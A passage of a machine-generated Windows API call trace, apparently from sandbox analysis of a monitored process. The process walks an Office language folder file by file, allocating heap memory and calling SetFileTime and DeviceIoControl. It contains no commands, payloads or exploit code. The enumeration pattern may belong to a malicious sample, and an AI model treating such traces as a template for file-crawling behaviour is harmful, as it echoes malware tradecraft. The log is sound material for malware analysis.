cFileName="SCHEME55.CSS", cAlternateFileName="")) returned 0 [0077.994] GetLastError () returned 0x12 [0077.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0077.994] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0077.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa9ad58) returned 1 [0077.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0077.995] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1 [0077.995] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0077.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0077.996] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0077.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xabf2b8 [0077.996] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xabf2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xabf2b8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0077.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabf2b8) returned 1 [0077.996] NtClose (Handle=0x174) returned 0x0 [0077.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0077.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0077.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0077.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7bd8 [0077.996] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0077.999] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bde09d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bde09d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.001] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x182b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPERS.INI", cAlternateFileName="")) returned 1 [0078.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa9ad58 [0078.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0078.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab02a0 [0078.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a88a0 [0078.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.001] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3bb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR10F.GIF", cAlternateFileName="")) returned 1 [0078.001] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.001] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab02c0 [0078.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a89a8 [0078.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.002] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x142f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR11F.GIF", cAlternateFileName="")) returned 1 [0078.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab02e0 [0078.002] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a8ab0 [0078.002] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.002] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x46df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR12F.GIF", cAlternateFileName="")) returned 1 [0078.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab0300 [0078.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a8bb8 [0078.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.003] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x430d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR13F.GIF", cAlternateFileName="")) returned 1 [0078.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.003] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab0320 [0078.003] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a8cc0 [0078.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.004] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x5cb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR14F.GIF", cAlternateFileName="")) returned 1 [0078.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab0340 [0078.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a8dc8 [0078.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.004] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR15F.GIF", cAlternateFileName="")) returned 1 [0078.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.004] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.004] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab0360 [0078.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a8ed0 [0078.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.005] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x399f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR16F.GIF", cAlternateFileName="")) returned 1 [0078.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab0380 [0078.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a8fd8 [0078.005] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.005] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2bb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR17F.GIF", cAlternateFileName="")) returned 1 [0078.005] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab03a0 [0078.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a90e0 [0078.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.006] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x41f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR18F.GIF", cAlternateFileName="")) returned 1 [0078.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.006] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab03c0 [0078.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a91e8 [0078.006] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3d00) returned 0xabf2b8 [0078.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaca790) returned 1 [0078.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xc4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR19F.GIF", cAlternateFileName="")) returned 1 [0078.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3908 [0078.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a92f0 [0078.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.007] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xd98, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR1B.GIF", cAlternateFileName="")) returned 1 [0078.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.007] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.007] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3928 [0078.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a93f8 [0078.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xf6d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR1F.GIF", cAlternateFileName="")) returned 1 [0078.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3948 [0078.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a9500 [0078.008] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.008] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bac0cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3408, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR20F.GIF", cAlternateFileName="")) returned 1 [0078.008] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3968 [0078.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a9608 [0078.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.009] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR21F.GIF", cAlternateFileName="")) returned 1 [0078.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.009] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3988 [0078.009] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a9710 [0078.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.010] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR22F.GIF", cAlternateFileName="")) returned 1 [0078.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab39a8 [0078.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a9818 [0078.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.010] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x313b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR23F.GIF", cAlternateFileName="")) returned 1 [0078.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 